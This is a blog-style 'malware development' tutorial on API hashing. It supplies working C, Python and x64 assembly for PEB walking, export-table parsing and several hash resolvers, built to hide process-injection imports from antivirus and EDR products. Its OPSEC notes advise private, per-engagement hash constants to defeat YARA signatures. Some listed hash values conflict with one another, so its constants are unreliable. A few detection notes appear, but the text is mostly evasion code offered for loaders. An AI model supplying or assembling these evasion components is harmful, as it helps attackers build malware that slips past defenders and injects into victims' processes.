ᛉ Yggdrasil

Malware development

API Hashing

28 Sep 2026 · 9,697 words · 44 min

Contents

Legend: [IAT] = Import Address Table concept | [HASH] = Hashing technique | [PEB] = PEB-walk method | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [MALWARE] = Seen in real malware


1. Why API Hashing

What it means: When malware or a shellcode loader calls Windows APIs like VirtualAlloc, CreateThread, or WriteProcessMemory, those function names are stored as strings in the binary's Import Address Table (IAT). Any analyst, AV scanner, or EDR product can see them immediately — before the binary even runs.

The core problem:

Normal PE binary that calls CreateThread:

IAT (Import Address Table):
├─ kernel32.dll
│   ├─ VirtualAlloc          ← AV sees: memory allocation
│   ├─ WriteProcessMemory    ← AV sees: process injection!
│   ├─ CreateThread          ← AV sees: thread creation
│   └─ LoadLibraryA          ← AV sees: DLL loading
│
Analyst runs: strings loader.exe | grep -i thread
Result: CreateThread         ← Immediately visible

EDR / AV:
├─ Scans IAT on load
├─ Sees: VirtualAlloc + WriteProcessMemory + CreateThread
├─ Score: HIGH SUSPICION
└─ Action: Flag / Block

What API hashing solves:

API-hashed PE binary (same binary, with hashing):

IAT (Import Address Table):
├─ kernel32.dll
│   └─ LoadLibraryA          ← Only this import needed (optional)
│
Analyst runs: strings loader.exe
Result:       (no API names visible)

EDR / AV:
├─ Scans IAT → Almost empty
├─ API names: NOT present in strings
├─ Score: LOWER suspicion (no obvious suspicious imports)
└─ No immediate flag on API names

At runtime:
├─ Binary walks PEB → finds kernel32 in memory
├─ Iterates export table → hashes each name
├─ Hash 0x726774c → matches LoadLibraryA → executes
└─ All API resolution happens in memory, never in strings

Why it matters for red teaming:

Scenario Without API Hashing With API Hashing
Static analysis / strings All API names visible No API names in binary
IAT inspection (PE parser) Full API list exposed IAT mostly empty
Signature-based AV Matches known API import combos No IAT match possible
Sandbox behavioral analysis API calls linked to imports Harder to track → dynamic
Reverse engineering difficulty Trivial (see imports, read code) Must trace hash resolution logic
Detection by AV YARA rules Pattern matches API name strings No string → no match

[OPSEC] API hashing does NOT hide behavior from dynamic analysis. The OS still records API calls at runtime. API hashing targets static analysis — strings, IAT inspection, signature matching on PE structure.

[OPSEC] Well-known hash values become signatures too. ROR13 hash 0x726774c for LoadLibraryA is so common in Cobalt Strike/Metasploit that AV vendors now detect it by hash constant value. Always use custom hash algorithms in real engagements.


2. Windows PE IAT — The Problem

What it means: A Portable Executable (PE) file has a data directory called the Import Address Table. At load time, the Windows loader fills it with the actual addresses of every function the binary imports. Both the function names AND the DLL names are stored as strings in the binary.

2.1 PE Import Structure

PE Binary on disk:
┌──────────────────────────────────────────┐
│ DOS Header                               │
│ NT Headers                               │
│   └─ Optional Header                     │
│       └─ DataDirectory[1] → Import Table │
│ Import Directory Table:                  │
│   ├─ Entry: kernel32.dll                 │
│   │   ├─ VirtualAlloc                    │
│   │   ├─ VirtualProtect                  │
│   │   └─ CreateRemoteThread              │
│   └─ Entry: ntdll.dll                    │
│       ├─ NtAllocateVirtualMemory         │
│       └─ NtWriteVirtualMemory            │
└──────────────────────────────────────────┘

What an analyst sees in CFF Explorer / PE-bear:
kernel32.dll → CreateRemoteThread
              → VirtualAlloc
              → VirtualProtect
              → WriteProcessMemory
==> Immediate red flag: process injection toolkit

2.2 Export Address Table (EAT) — The Target

kernel32.dll in memory:
┌──────────────────────────────────────────────┐
│ IMAGE_EXPORT_DIRECTORY                       │
│   ├─ NumberOfNames: 1624                     │
│   ├─ AddressOfNames     → array of RVAs      │
│   │     [0] → "AcquireSRWLockExclusive"      │
│   │     [1] → "ActivateActCtx"               │
│   │     ...                                  │
│   │   [342] → "CreateThread"                 │ ← We want this
│   │     ...                                  │
│   ├─ AddressOfFunctions → array of RVAs      │
│   │     → actual function addresses          │
│   └─ AddressOfNameOrdinals → ordinals        │
└──────────────────────────────────────────────┘

API Hashing approach:
1. Find kernel32 base address (via PEB walk or other)
2. Parse IMAGE_EXPORT_DIRECTORY
3. Iterate AddressOfNames array
4. Hash each name string
5. Compare hash → match → extract function address

2.3 The Three Tables in EAT

// These three parallel arrays work together:
// AddressOfNames[i]         → name RVA for export i
// AddressOfNameOrdinals[i]  → ordinal index for export i
// AddressOfFunctions[ord]   → function RVA

// To get function address from a name match at index i:
DWORD nameRVA      = addressOfNames[i];
WORD  ordinal      = addressOfNameOrdinals[i];
DWORD functionRVA  = addressOfFunctions[ordinal];
PVOID funcAddress  = (PVOID)(moduleBase + functionRVA);

[DETECT] The EAT is the source of truth. Every API hashing technique ultimately resolves against this structure. EDR hooks and inline patches happen inside the EAT-resolved function bodies — another reason to combine API hashing with direct syscalls.


3. How API Hashing Works — Core Concept

What it means: Instead of storing "CreateThread" (13 bytes, a string), the binary stores 0x544e304 (4 bytes, a number). At runtime, it walks the export table, hashes each name, and looks for a match. When the hash matches, it extracts the function address and calls it — without any string ever appearing in the binary.

3.1 The Full Flow

Compile time (before deployment):
──────────────────────────────────
Developer runs hash tool:
  hash("VirtualAlloc")        → 0x97BC257
  hash("WriteProcessMemory")  → 0xD83D6AA1
  hash("CreateThread")        → 0x544e304
  hash("LoadLibraryA")        → 0x726774C

These 4 numbers are embedded in the binary.
ZERO strings. ZERO function names.

─────────────────────────────────
Runtime (when binary executes):
─────────────────────────────────
1. Binary starts
2. Finds kernel32.dll in memory (via PEB walk)
3. Gets pointer to IMAGE_EXPORT_DIRECTORY
4. Loops through AddressOfNames[0..N]:
   hash("AcquireSRWLockExclusive") → 0x3A1F1233 ≠ 0x97BC257 → skip
   hash("ActivateActCtx")          → 0x7C441D0A ≠ 0x97BC257 → skip
   ...
   hash("VirtualAlloc")            → 0x97BC257  == 0x97BC257 → MATCH!
5. Extract VirtualAlloc's address
6. Call it: VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

3.2 Minimal Pseudocode

# Python pseudocode — how an API resolver thinks
def resolve_api(module_base, target_hash):
    eat = get_export_directory(module_base)

    for i in range(eat.NumberOfNames):
        func_name = read_string(module_base + eat.AddressOfNames[i])
        if my_hash(func_name) == target_hash:
            ordinal = eat.AddressOfNameOrdinals[i]
            rva     = eat.AddressOfFunctions[ordinal]
            return module_base + rva   # function address!

    return None  # not found

# Pre-computed hashes (no strings in binary):
HASH_VirtualAlloc        = 0x97BC257
HASH_WriteProcessMemory  = 0xD83D6AA1

# At runtime:
VirtualAlloc       = resolve_api(kernel32_base, HASH_VirtualAlloc)
WriteProcessMemory = resolve_api(kernel32_base, HASH_WriteProcessMemory)

# Call them normally:
VirtualAlloc(NULL, 4096, 0x3000, 0x40)

[OPSEC] The hash algorithm choice matters enormously. ROR13 is so well-known that its hash constants for common APIs are searchable in public databases. Custom algorithms with private constants are the only reliable approach in defended environments.


4. PEB Walking — Finding DLLs Without LoadLibrary

What it means: To call LoadLibrary("kernel32.dll"), you first need LoadLibrary's address — a circular dependency. Instead, shellcode and malware walk the Process Environment Block (PEB), a Windows kernel structure that contains a linked list of all loaded modules in the process. This lets you find kernel32.dll's base address without calling any API.

4.1 PEB Structure Path

Thread Execution begins
        │
        ▼
GS:[0x60]  (x64) or FS:[0x30] (x86)
= _TEB.ProcessEnvironmentBlock
        │
        ▼
PEB (Process Environment Block)
  offset 0x18 → PEB_LDR_DATA *Ldr
        │
        ▼
PEB_LDR_DATA
  offset 0x20 → LIST_ENTRY InMemoryOrderModuleList
  (doubly-linked list of all loaded DLLs)
        │
        ▼
LDR_DATA_TABLE_ENTRY (one per loaded DLL)
  ├─ offset 0x28 → UNICODE_STRING FullDllName
  ├─ offset 0x38 → UNICODE_STRING BaseDllName   ← "kernel32.dll"
  └─ offset 0x10 → DllBase (base address!)       ← what we want

4.2 PEB Walk in C

#include <Windows.h>
#include <winternl.h>  // PEB, LDR_DATA_TABLE_ENTRY

// Find a module base address by walking the PEB module list.
// No LoadLibrary, no GetModuleHandle — fully PEB-based.
HMODULE GetModuleBaseByHash(DWORD targetHash)
{
    // Get PEB pointer
    // x64: GS:[0x60]
    PPEB peb = (PPEB)__readgsqword(0x60);

    // Walk InMemoryOrderModuleList
    PLIST_ENTRY listHead = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY listEntry = listHead->Flink;

    while (listEntry != listHead)
    {
        // Each LIST_ENTRY is part of LDR_DATA_TABLE_ENTRY
        // InMemoryOrderLinks is at offset 0x10 within the entry
        PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(
            listEntry,
            LDR_DATA_TABLE_ENTRY,
            InMemoryOrderLinks
        );

        if (module->FullDllName.Buffer != NULL)
        {
            // Convert UNICODE_STRING to lowercase for hashing
            char moduleName[64] = {0};
            USHORT len = module->FullDllName.Length / 2;
            for (USHORT i = 0; i < len && i < 63; i++) {
                wchar_t wc = module->FullDllName.Buffer[i];
                // Lowercase only the filename portion
                moduleName[i] = (char)(wc >= L'A' && wc <= L'Z' ? wc + 32 : wc);
            }

            // Hash the module name and compare
            if (HashString(moduleName) == targetHash) {
                return (HMODULE)module->DllBase;
            }
        }
        listEntry = listEntry->Flink;
    }
    return NULL;
}

// Usage:
// HMODULE kernel32 = GetModuleBaseByHash(HASH_KERNEL32);
// HMODULE ntdll    = GetModuleBaseByHash(HASH_NTDLL);

4.3 PEB Walk in x64 Assembly (Shellcode Style)

; x64 NASM — walk PEB to find kernel32 base address
; Result: kernel32 base address in RAX

find_kernel32:
    xor    rbp, rbp                    ; clear rbp
    mov    rax, gs:[rbp + 0x60]        ; RAX = PEB
    mov    rax, [rax + 0x18]           ; RAX = PEB->Ldr
    mov    rsi, [rax + 0x20]           ; RSI = Ldr->InMemoryOrderModuleList.Flink
    lodsq                              ; RSI = next entry (skip first: process itself)
    xchg   rax, rsi
    lodsq                              ; RSI = next entry (skip second: ntdll.dll)
    mov    rbx, [rax + 0x20]           ; RBX = BaseDllName.Buffer (kernel32.dll)
    ; At this point RAX points to kernel32's LDR_DATA_TABLE_ENTRY
    ; Extract DllBase:
    mov    rbx, [rax - 0x10 + 0x10]   ; DllBase offset = 0x10 from InMemoryOrderLinks
    ; RBX now holds kernel32.dll base address
    ret

[OPSEC] The order in the InMemoryOrderModuleList is: [0] = the executable itself, [1] = ntdll.dll, [2] = kernel32.dll. This ordering is consistent but not guaranteed across all Windows versions — use hash comparison for reliability.

4.4 Module Name Hashing

// Common convention: hash the module's BaseDllName (e.g., "kernel32.dll")
// Some implementations hash uppercase, some lowercase — be consistent!

// Pre-compute these with your hash tool:
#define HASH_KERNEL32  0x6DDB9555    // hash("kernel32.dll") 
#define HASH_NTDLL     0x1EDAB0ED    // hash("ntdll.dll")
#define HASH_WS2_32    0x9D59C6B0    // hash("ws2_32.dll")
#define HASH_WININET   0x42246F0A    // hash("wininet.dll")

5. ROR13 Hash Algorithm

What it means: ROR13 (Rotate Right 13) is the most widely used hash algorithm in shellcode. It processes each byte of a string by rotating the current hash value 13 bits to the right, then adding the new character. This is the algorithm used by Metasploit, Cobalt Strike, and the majority of public shellcode frameworks.

5.1 How ROR13 Works

Algorithm:
1. Start with hash = 0
2. For each character c in the function name:
   a. hash = ROR(hash, 13)      ← rotate right 13 bits
   b. hash = hash + c           ← add the character byte
3. Final hash = accumulated value

ROR (Rotate Right) example on 32-bit value:
Value:  0b10110010_11001010_11110001_00100011  (0xB2CAF123)
ROR 13: 0b00100011_01001001_01100101_10010110  (shifted 13 right, wrapped left)

5.2 ROR13 in C

// ROR13 hash — exact algorithm used by Metasploit / Cobalt Strike
// Input: ASCII or wide string
// Output: 32-bit hash value

// Rotate right macro
#define ROR32(v, bits) (((v) >> (bits)) | ((v) << (32 - (bits))))

DWORD ror13_hash(const char *str)
{
    DWORD hash = 0;
    while (*str)
    {
        hash = ROR32(hash, 13);
        hash += (BYTE)*str;
        str++;
    }
    return hash;
}

// For module names: Cobalt Strike hashes the unicode name with null terminator
DWORD ror13_hash_wide(const wchar_t *str)
{
    DWORD hash = 0;
    while (*str)
    {
        hash = ROR32(hash, 13);
        hash += (BYTE)(*str & 0xFF);  // lower byte of wchar
        str++;
    }
    // Include the null terminator byte
    hash = ROR32(hash, 13);
    // hash += 0;   // null adds 0, so omit
    return hash;
}

// Known ROR13 hashes (Metasploit/Cobalt Strike compatible):
// LoadLibraryA         → 0x0726774C
// GetProcAddress       → 0x0D3F78DC  (also seen as 0xEC0E4E8E)
// VirtualAlloc         → 0x91AFCA54
// VirtualProtect       → 0x7946C61B
// CreateThread         → 0xC7D05CA5  (varies by variant)
// WinExec              → 0x876F8B31
// ExitProcess          → 0x56A2B5F0
// InternetOpenA        → 0xA779563A
// InternetConnectA     → 0xC69F8957
// WSAStartup           → 0x006B8029
// WSASocketA           → 0xE0DF0FEA
// NtFlushInstructionCache → 0x534C0AB8

5.3 ROR13 in Python (Pre-computation Tool)

#!/usr/bin/env python3
# ror13_hasher.py — Pre-compute ROR13 hashes for API names

import struct

def ror32(val, bits):
    """32-bit rotate right."""
    return ((val >> bits) | (val << (32 - bits))) & 0xFFFFFFFF

def ror13_hash(name: str) -> int:
    """ROR13 hash — matches Metasploit/Cobalt Strike implementation."""
    h = 0
    for c in name:
        h = ror32(h, 13)
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

def ror13_hash_module(name: str) -> int:
    """ROR13 for module names — includes null terminator, uppercase."""
    name = name.upper()  # Cobalt Strike uppercases module names
    h = 0
    for c in name:
        h = ror32(h, 13)
        h = (h + ord(c)) & 0xFFFFFFFF
    # Add null terminator
    h = ror32(h, 13)
    return h

# ─── Compute and print hashes ───────────────────────────────────
apis = [
    "LoadLibraryA",
    "GetProcAddress",
    "VirtualAlloc",
    "VirtualProtect",
    "CreateThread",
    "WriteProcessMemory",
    "OpenProcess",
    "CreateRemoteThread",
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtCreateThreadEx",
    "WinExec",
    "ExitProcess",
    "InternetOpenA",
    "InternetConnectA",
    "WSAStartup",
    "WSASocketA",
]

print("// ROR13 API Hashes (Metasploit/Cobalt Strike compatible)")
print("// Copy these into your C loader:")
print()
for api in apis:
    h = ror13_hash(api)
    print(f"#define HASH_{api.upper():<35} 0x{h:08X}  // {api}")

print()
print("// Module hashes (uppercase convention):")
modules = ["kernel32.dll", "ntdll.dll", "ws2_32.dll", "wininet.dll", "advapi32.dll"]
for mod in modules:
    h = ror13_hash_module(mod)
    safe = mod.replace(".", "_").replace("-", "_").upper()
    print(f"#define HASH_MODULE_{safe:<30} 0x{h:08X}  // {mod.upper()}")

5.4 ROR13 in Assembly (Shellcode Native)

; ROR13 hash function in x64 NASM
; Input:  RSI = pointer to null-terminated ASCII string
; Output: EAX = ROR13 hash
; Clobbers: EAX, ECX, RDX

hash_ror13:
    xor    eax, eax           ; hash = 0

.loop:
    movzx  ecx, byte [rsi]    ; ECX = current character
    test   ecx, ecx           ; null terminator?
    jz     .done              ; yes → done

    ; ROR(hash, 13)
    ror    eax, 13

    ; hash += character
    add    eax, ecx

    inc    rsi                ; next character
    jmp    .loop

.done:
    ret

[DETECT] ROR13 hashes for common APIs are well-documented. Security products scan for 0x726774C (LoadLibraryA), 0xEC0E4E8E (GetProcAddress), and others as signature constants. If these values appear in shellcode disassembly, it immediately reveals Metasploit/Cobalt Strike lineage.


6. DJB2 Hash Algorithm

What it means: DJB2 (Daniel J. Bernstein hash 2) is a simple, fast non-cryptographic hash with good distribution. It starts with seed 5381 and processes each character as hash = hash * 33 + char. Used in GuLoader, SloppyRAT, and various custom loaders.

6.1 DJB2 in C

// DJB2 — Daniel J. Bernstein hash
// Simple, fast, good distribution
// Used in GuLoader, SloppyRAT, many custom shellcode loaders

DWORD djb2_hash(const char *str)
{
    DWORD hash = 5381;  // Initial seed
    int c;

    while ((c = *str++) != 0)
    {
        // hash = hash * 33 + c
        // Equivalent: (hash << 5) + hash + c
        hash = ((hash << 5) + hash) + c;
    }
    return hash;
}

// Case-insensitive variant (for robust API matching across DLL versions)
DWORD djb2_hash_lower(const char *str)
{
    DWORD hash = 5381;
    int c;

    while ((c = *str++) != 0)
    {
        // Normalize to lowercase
        if (c >= 'A' && c <= 'Z') c += 32;
        hash = ((hash << 5) + hash) + c;
    }
    return hash;
}

// Known DJB2 hashes (standard, case-sensitive):
// VirtualAlloc         → 0x9B7BFBC3
// VirtualProtect       → 0x5B4AED68
// CreateThread         → 0x99EE4EA9
// LoadLibraryA         → 0xFCFB9E52
// GetProcAddress       → 0x6D7AC455
// WriteProcessMemory   → 0xE3DF2648
// OpenProcess          → 0x15F62B70
// NtAllocateVirtualMemory → 0x42A3C4BF

6.2 DJB2 in Python

#!/usr/bin/env python3
# djb2_hasher.py — Pre-compute DJB2 hashes

def djb2_hash(s: str, case_insensitive=False) -> int:
    """DJB2 hash — matches C implementation."""
    if case_insensitive:
        s = s.lower()
    hash_val = 5381
    for c in s:
        hash_val = ((hash_val << 5) + hash_val + ord(c)) & 0xFFFFFFFF
    return hash_val

# Pre-compute a lookup table
apis = [
    "VirtualAlloc", "VirtualProtect", "VirtualFree",
    "WriteProcessMemory", "ReadProcessMemory",
    "CreateThread", "CreateRemoteThread",
    "OpenProcess", "CloseHandle",
    "LoadLibraryA", "GetProcAddress",
    "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
    "NtCreateThreadEx", "NtQueryInformationProcess",
]

print("// DJB2 API Hashes")
print("#define DJB2_SEED 5381")
print()
for api in apis:
    h = djb2_hash(api)
    h_lower = djb2_hash(api, case_insensitive=True)
    print(f"#define DJB2_{api.upper():<35} 0x{h:08X}  // case-sensitive")
    print(f"#define DJB2L_{api.upper():<34} 0x{h_lower:08X}  // lowercase")
    print()

6.3 DJB2 Collision Check

#!/usr/bin/env python3
# Check for DJB2 hash collisions in your API list

def djb2_hash(s: str) -> int:
    h = 5381
    for c in s:
        h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
    return h

# Load all exports from a DLL to check for collisions
import ctypes
import ctypes.wintypes

kernel32_exports = [
    "VirtualAlloc", "VirtualProtect", "VirtualFree", "VirtualQuery",
    "CreateThread", "CreateRemoteThread", "TerminateThread",
    "OpenProcess", "CloseHandle", "GetCurrentProcess",
    "WriteProcessMemory", "ReadProcessMemory",
    "LoadLibraryA", "LoadLibraryW", "FreeLibrary",
    "GetProcAddress", "GetModuleHandleA",
    # Add all exports you care about
]

seen = {}
collisions = []
for api in kernel32_exports:
    h = djb2_hash(api)
    if h in seen:
        collisions.append((api, seen[h], h))
        print(f"[!] COLLISION: {api} == {seen[h]} == 0x{h:08X}")
    else:
        seen[h] = api

if not collisions:
    print("[+] No collisions found in API list")
else:
    print(f"[!] {len(collisions)} collision(s) found — choose different algorithm")

[MALWARE] GuLoader uses DJB2 extensively. CrowdStrike researchers mapped all its embedded DJB2 hash values to reconstruct the complete API list. SloppyRAT (2025) also uses DJB2 for its Hell's Gate-style direct syscall resolution.


7. FNV-1a Hash Algorithm

What it means: FNV-1a (Fowler–Noll–Vo variant 1a) is a widely used non-cryptographic hash known for good avalanche behavior and minimal collisions on short strings. The a variant XORs before multiplying (vs FNV-1 which multiplies first), giving better distribution. Used by Cobalt Strike for NT API resolution and various custom shellcode.

7.1 FNV-1a in C

// FNV-1a — 32-bit variant
// Constants are standardized — do not change them

#define FNV_OFFSET_32  2166136261UL   // 0x811C9DC5
#define FNV_PRIME_32   16777619UL     // 0x01000193

DWORD fnv1a_hash(const char *str)
{
    DWORD hash = FNV_OFFSET_32;

    while (*str)
    {
        hash ^= (BYTE)*str;      // XOR with current byte (the 'a' variant)
        hash *= FNV_PRIME_32;    // multiply by prime
        hash &= 0xFFFFFFFF;      // keep 32-bit
        str++;
    }
    return hash;
}

// 64-bit variant (better for large export tables)
#define FNV_OFFSET_64  14695981039346656037ULL  // 0xCBF29CE484222325
#define FNV_PRIME_64   1099511628211ULL          // 0x00000100000001B3

DWORD64 fnv1a_hash64(const char *str)
{
    DWORD64 hash = FNV_OFFSET_64;

    while (*str)
    {
        hash ^= (BYTE)*str;
        hash *= FNV_PRIME_64;
        str++;
    }
    return hash;
}

// Known FNV-1a 32-bit hashes:
// LoadLibraryA         → 0x4ACC9B65
// GetProcAddress       → 0xE7F4C19E
// VirtualAlloc         → 0x23D71374
// VirtualProtect       → 0x3AFBBB98
// CreateThread         → 0x4B7D07AA
// WriteProcessMemory   → 0x9F5CC14B
// NtAllocateVirtualMemory → 0xB7A71C21
// NtWriteVirtualMemory → 0xF6C8F30B
// NtCreateThreadEx     → 0x40A85E1F
// CreateFileA          → 0x12C93ECF
// WriteFile            → 0xB58A00D3

7.2 FNV-1a in Python

#!/usr/bin/env python3
# fnv1a_hasher.py — FNV-1a 32-bit and 64-bit hash pre-computation

FNV_OFFSET_32 = 0x811C9DC5
FNV_PRIME_32  = 0x01000193

FNV_OFFSET_64 = 0xCBF29CE484222325
FNV_PRIME_64  = 0x00000100000001B3

def fnv1a_32(s: str) -> int:
    """FNV-1a 32-bit hash."""
    h = FNV_OFFSET_32
    for c in s.encode('ascii'):
        h ^= c
        h = (h * FNV_PRIME_32) & 0xFFFFFFFF
    return h

def fnv1a_64(s: str) -> int:
    """FNV-1a 64-bit hash."""
    h = FNV_OFFSET_64
    for c in s.encode('ascii'):
        h ^= c
        h = (h * FNV_PRIME_64) & 0xFFFFFFFFFFFFFFFF
    return h

apis = [
    "LoadLibraryA", "GetProcAddress", "VirtualAlloc",
    "VirtualProtect", "CreateThread", "WriteProcessMemory",
    "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
    "NtCreateThreadEx", "CreateFileA", "WriteFile",
    "InternetOpenA", "InternetConnectA", "HttpOpenRequestA",
    "HttpSendRequestA", "WSAStartup", "socket", "connect",
]

print("// FNV-1a API Hashes")
print(f"#define FNV_OFFSET_32  0x{FNV_OFFSET_32:08X}UL")
print(f"#define FNV_PRIME_32   0x{FNV_PRIME_32:08X}UL")
print()
for api in apis:
    h32 = fnv1a_32(api)
    h64 = fnv1a_64(api)
    print(f"#define FNV1A_{api.upper():<35} 0x{h32:08X}  // {api}")

7.3 FNV-1a XOR Variant (Anti-Signature)

// Some malware XORs the final hash with a secret value
// This shifts all hash constants, defeating known-hash YARA rules

#define FNV_XOR_KEY 0xDEADBEEF   // Your secret — change this!

DWORD fnv1a_hash_xor(const char *str)
{
    DWORD hash = FNV_OFFSET_32;
    while (*str)
    {
        hash ^= (BYTE)*str;
        hash *= FNV_PRIME_32;
        str++;
    }
    return hash ^ FNV_XOR_KEY;   // XOR obfuscation
}

// Now pre-compute with the XOR key:
// python3 -c "print(hex((fnv1a('LoadLibraryA') ^ 0xDEADBEEF) & 0xFFFFFFFF))"
// These shifted values won't match any known-hash database

[MALWARE] Cobalt Strike uses FNV-1a for resolving NT API functions from ntdll.dll in its reflective DLL injection. TrickBot uses FNV-1a for NtCreateThreadEx, NtWriteVirtualMemory, and NtQueryInformationProcess. QakBot also uses FNV-1a variants with custom XOR keys.


8. CRC32 Hash Algorithm

What it means: CRC32 (Cyclic Redundancy Check 32) is a checksum algorithm originally designed for error detection. It has been repurposed by malware as an API hashing mechanism due to its hardware support (the crc32 instruction on modern x86 CPUs) and built-in availability in Windows APIs.

8.1 CRC32 in C

// CRC32 hash for API hashing
// Uses the standard polynomial 0xEDB88320 (reflected form)

// Pre-compute the CRC32 lookup table
static DWORD crc32_table[256];
static int   crc32_initialized = 0;

void crc32_init_table(void)
{
    if (crc32_initialized) return;

    for (DWORD i = 0; i < 256; i++)
    {
        DWORD crc = i;
        for (int j = 0; j < 8; j++)
        {
            if (crc & 1)
                crc = (crc >> 1) ^ 0xEDB88320;  // reflected polynomial
            else
                crc >>= 1;
        }
        crc32_table[i] = crc;
    }
    crc32_initialized = 1;
}

DWORD crc32_hash(const char *str)
{
    crc32_init_table();

    DWORD crc = 0xFFFFFFFF;  // start with all 1s
    while (*str)
    {
        BYTE idx = (crc ^ (BYTE)*str) & 0xFF;
        crc = (crc >> 8) ^ crc32_table[idx];
        str++;
    }
    return crc ^ 0xFFFFFFFF;  // final XOR
}

// Using hardware CRC32 (x86 SSE4.2 instruction — faster):
#include <nmmintrin.h>  // _mm_crc32_u8

DWORD crc32_hardware(const char *str)
{
    DWORD crc = 0xFFFFFFFF;
    while (*str)
    {
        crc = _mm_crc32_u8(crc, (BYTE)*str);
        str++;
    }
    return crc ^ 0xFFFFFFFF;
}

// Known CRC32 hashes:
// LoadLibraryA         → 0x7C0DFCAA
// GetProcAddress       → 0xBCB5CF9F
// VirtualAlloc         → 0x7A2FEEA8
// VirtualProtect       → 0x40E4B3A6
// CreateThread         → 0xA1A14EB8
// WriteProcessMemory   → 0x15E1D6AD
// NtAllocateVirtualMemory → 0xF4B91E4A

8.2 CRC32 in Python

#!/usr/bin/env python3
# crc32_hasher.py — CRC32 hash pre-computation

import binascii

def crc32_hash(s: str) -> int:
    """Standard CRC32 hash matching the C table implementation."""
    return binascii.crc32(s.encode('ascii')) & 0xFFFFFFFF

# Hardware-optimized variant (Python using zlib)
import zlib
def crc32_zlib(s: str) -> int:
    return zlib.crc32(s.encode('ascii')) & 0xFFFFFFFF

apis = [
    "LoadLibraryA", "GetProcAddress", "VirtualAlloc",
    "VirtualProtect", "VirtualFree",
    "CreateThread", "CreateRemoteThread",
    "WriteProcessMemory", "ReadProcessMemory",
    "OpenProcess", "CloseHandle",
    "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
]

print("// CRC32 API Hashes")
for api in apis:
    h = crc32_hash(api)
    print(f"#define CRC32_{api.upper():<35} 0x{h:08X}  // {api}")

8.3 CRC32 Anti-Analysis Trick

// Trick: seed with a different initial value
// This shifts all hashes away from standard CRC32 databases

DWORD crc32_seeded(const char *str, DWORD seed)
{
    crc32_init_table();

    DWORD crc = seed;           // non-standard seed (not 0xFFFFFFFF)
    while (*str)
    {
        BYTE idx = (crc ^ (BYTE)*str) & 0xFF;
        crc = (crc >> 8) ^ crc32_table[idx];
        str++;
    }
    return crc;                 // no final XOR either
}

// Example: seed = 0xCAFEBABE
// CRC32_seeded("LoadLibraryA", 0xCAFEBABE)
// = completely different value from standard CRC32
// Cannot be found in HashDB lookup databases

9. Custom / Arbitrary Hash Algorithms

What it means: Since well-known algorithms (ROR13, DJB2, FNV-1a) have their hash constants for common APIs published in public databases like HashDB, sophisticated malware and red team tools use completely custom algorithms. As long as the algorithm is deterministic and collision-free for the target API set, any function works.

9.1 Custom Additive Hash

// Custom additive hash — made up, produces no publicly known constants
// Tweak constants to shift all hash values

DWORD custom_hash_v1(const char *str)
{
    DWORD hash  = 0x1337;          // custom seed
    DWORD mult  = 0xDEAD1337;      // custom multiplier
    DWORD shift = 7;               // custom shift amount

    while (*str)
    {
        hash ^= (DWORD)*str;
        hash  = (hash << shift) | (hash >> (32 - shift));  // ROL shift
        hash *= mult;
        hash &= 0xFFFFFFFF;
        str++;
    }
    return hash;
}

// Customize to taste:
// - Change seed, multiplier, shift amount
// - Add XOR with position index
// - Mix in character position
// → Different constants, defeat all known-hash lookups

9.2 Position-Aware Hash (Stronger)

// Hash that incorporates character position
// Much harder to reverse-engineer than position-independent hashes

DWORD positional_hash(const char *str)
{
    DWORD hash = 0xAB1337FF;
    DWORD pos  = 0;

    while (*str)
    {
        // Mix position into hash calculation
        hash += ((DWORD)*str * (pos + 1)) ^ (pos * 0x7ABED);
        hash = ROR32(hash, 5);
        hash ^= (pos << 16);
        pos++;
        str++;
    }
    return hash ^ 0xDEADC0DE;  // final XOR
}

9.3 Custom Hash Generator (Python)

#!/usr/bin/env python3
# custom_hash_generator.py
# Generate a custom hash algorithm with tweakable parameters
# and pre-compute hashes for your API list

def make_hasher(seed, multiplier, rot_amount, final_xor):
    """Factory: create a custom hash function with given parameters."""
    def hasher(s: str) -> int:
        h = seed
        for c in s:
            h ^= ord(c)
            # ROL rotation
            h = ((h << rot_amount) | (h >> (32 - rot_amount))) & 0xFFFFFFFF
            h = (h * multiplier) & 0xFFFFFFFF
        return h ^ final_xor
    return hasher

# ── Customize these parameters to create your unique hash ──────
SEED       = 0xDEAD1337
MULTIPLIER = 0x1F1FA1B1
ROT        = 7           # bits to rotate
FINAL_XOR  = 0xABCDEF01
# ────────────────────────────────────────────────────────────────

my_hash = make_hasher(SEED, MULTIPLIER, ROT, FINAL_XOR)

def check_collisions(apis, hasher):
    seen = {}
    for api in apis:
        h = hasher(api)
        if h in seen:
            return False, f"COLLISION: {api} == {seen[h]} == 0x{h:08X}"
        seen[h] = api
    return True, "No collisions"

apis = [
    "VirtualAlloc", "VirtualProtect", "VirtualFree",
    "WriteProcessMemory", "ReadProcessMemory",
    "CreateThread", "CreateRemoteThread",
    "OpenProcess", "CloseHandle", "GetCurrentProcess",
    "LoadLibraryA", "GetProcAddress",
    "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
    "NtCreateThreadEx", "NtQueryInformationProcess",
    "InternetOpenA", "InternetConnectA",
]

ok, msg = check_collisions(apis, my_hash)
print(f"[{'+'if ok else '!'}] Collision check: {msg}")
print()
print("// Generated custom API hashes — PRIVATE (do not publish):")
print(f"#define CUSTOM_HASH_SEED      0x{SEED:08X}")
print(f"#define CUSTOM_HASH_MULT      0x{MULTIPLIER:08X}")
print(f"#define CUSTOM_HASH_ROT       {ROT}")
print(f"#define CUSTOM_HASH_XOR       0x{FINAL_XOR:08X}")
print()
for api in apis:
    h = my_hash(api)
    print(f"#define HASH_{api.upper():<35} 0x{h:08X}  // {api}")

[OPSEC] Never publish your custom hash constants. Once constants appear in GitHub, YARA rules are written within days. Rotate your algorithm for each engagement. Keep the hash algorithm inside the loader itself — never share the hash function parameters externally.


10. Full API Resolver Implementation (C)

What it means: Combining PEB walk + EAT parsing + any hash algorithm into a complete, production-ready API resolver that can be dropped into any loader or shellcode.

10.1 Complete API Resolver (C — Generic)

